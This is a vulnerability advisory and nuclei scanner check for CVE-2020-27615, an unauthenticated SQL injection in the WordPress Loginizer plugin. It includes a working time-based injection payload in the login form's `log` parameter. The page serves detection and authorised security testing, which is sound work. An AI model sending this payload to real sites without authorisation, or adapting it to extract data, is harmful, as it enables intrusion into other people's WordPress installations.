WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter

criticalseverity

9.8CVSS score

52.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.

Impact

Unauthenticated attackers can execute SQL injection to extract database contents and execute malicious scripts, potentially compromising the entire WordPress installation and all user data.

Fix

Fixed in version 1.6.4

How to confirm it

Send: GET /wp-content/plugins/loginizer/readme.txt
Positive when: status_code == 200 and contains(body, 'Loginizer') and compare_versions(version, '< 1.6.4')
Send: @timeout 10s
Positive when: duration >= 7 and contains_all(body,"wp-admin","user_login") and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-27615 -u <target>

The full check

id: CVE-2020-27615

info:
  name: WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter
  author: intelligent-ears
  severity: critical
  description: |
    The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.
  impact: |
    Unauthenticated attackers can execute SQL injection to extract database contents and execute malicious scripts, potentially compromising the entire WordPress installation and all user data.
  remediation: Fixed in version 1.6.4
  reference:
    - https://web.archive.org/web/20210321225040/https://wpscan.com/vulnerability/10441/
    - https://www.zdnet.com/article/wordpress-deploys-forced-security-update-for-dangerous-bug-in-popular-plugin/
    - https://wpscan.com/vulnerability/10441
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-27615
    cwe-id: CWE-89
    epss-score: 0.52687
    epss-percentile: 0.98977
    cpe: cpe:2.3:a:loginizer:loginizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: loginizer
    product: loginizer
    framework: wordpress
    publicwww-query: "/wp-content/plugins/loginizer"
  tags: wpscan,cve,cve2020,wordpress,wp-plugin,wp,loginizer,sqli,time-based,vkev,vuln

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Loginizer')"
          - compare_versions(version, '< 1.6.4')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout 10s
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check;

        log='%2cip%3dLEFT(UUID()%2c8)%2curl%3dif(1%3d1%2csleep(7)%2c0)%23&pwd={{password}}&wp-submit=Login&redirect_to=&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'contains_all(body,"wp-admin","user_login")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from